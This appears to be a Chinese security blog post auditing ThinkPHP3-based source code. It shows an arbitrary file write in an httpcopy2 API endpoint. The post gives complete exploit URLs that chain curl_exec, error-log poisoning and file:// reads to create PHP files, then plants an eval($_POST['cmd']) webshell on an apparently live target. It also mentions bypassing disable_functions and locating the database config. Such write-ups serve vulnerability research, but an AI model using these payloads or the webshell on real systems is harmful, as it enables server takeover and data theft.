某系统代码审计——任意文件写入
浏览 3030 | 评论 0 | 字数 2589
硝基苯
2022年08月04日
  • 朋友拿到了一套源码,就拿来练练手了
    关键字:ThinkPHP3任意文件写入file_put_contents伪协议
    curl_exec()支持ftp, ftps, http, https, gopher, telnet, dict, file, ldapa协议;

    步入正题

    首先看一下大概,可以看到是thinkphp3的二开
    99872-0n4uow5yh6wk.png
    在index.php中,我们可以看到,应用目录在Application
    83090-zm4rkrpjnbe.png

    审计过程

    94943-xi2g8zno8q.png
    跟进,可以看到httpcopy2方法中需要我们传入url、path、file三个参数
    77458-r9y13f6zzoe.png

    如果file为空,则会把url参数中的basename提取出来,具体如下示例
    30491-j950v9meve8.png
    虽然也可以通过在vps写一个shell.php的文件名让它提取出来,但是不如我们直接传一个file进去实在
    $temp为curl_exec访问的出来的内容
    再看一下该文件的命名空间,因此我们访问的方式为:http://www.c6sec.com/Home/Api/httpcopy2
    54456-fpvys8gy3fo.png
    得益于TP方便的传参方式,$url、$path、$file我们都可以直接通过url来直接传参,因此这三个参数我们都能直接控制,通过$path.$file得到文件名,而通过curl_exec访问某个url得到的内容作为输入的内容(也可以通过file伪协议来读文件,但是必须是绝对路径)。尝试写入百度(通过报错我们能得到文件的绝对路径,相对路径能找到也行)

    http://www.c6sec.com/Home/Api/httpcopy2?url=http://www.baidu.com&path=/www/wwwroot/www.c6sec.com/Public/Uploads/file/&file=1234.txt

    可以看到,我们成功写入
    41772-4zyil41iqt5.png
    也就是说现在完全可以开个vps写个一句话,但是为了减少外连痕迹,考虑读log来进行写入
    当我们错误的访问某些模块和方法时,tp会将此次error进行记录,路径为/Application/Runtime/Logs/Common/22_08_03.log,因此
    http://www.c6sec.com/?m=<?=phpinfo();?>(这里写入短标签的原因为我们是get传参,空格用%20代替的话,log中将会是%20,因此要用短标签)
    写入log后,我们需要将log文件通过刚刚的任意文件写入,将log写入到php中,构造payload

    http://www.c6sec.com/Home/Api/httpcopy2?url=file:///www/wwwroot/www.c6sec.com/Application/Runtime/Logs/Common/22_08_03.log&path=/www/wwwroot/www.c6sec.com/Public/Uploads/file/&file=123.php

    访问http://www.c6sec.com/Public/Uploads/file/&file=123.php
    92666-qgk5rx83z9.png

    实战测试

    在本目标中,file无法成功利用,而http协议仍然不受影响,自己远程包含自己即可
    22470-4ngaz72ypep.png
    访问asdf.txt
    12344-s6amd3mja6r.png
    写入成功,我们直接写入一句话http://www.c6sec.com/?m=<?=eval($_POST['cmd']);?>
    和上面一样,将txt换为php即可。
    拿到shell后,突破disablefunction,php7直接梭
    54446-u5a7q23bsdr.png

    数据库配置

    另一方面,数据库配置路径/Application/Common/Conf/db.php
    16690-f6lug8diwfu.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/724/
    最后修改时间:2022-08-05 00:08:32
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论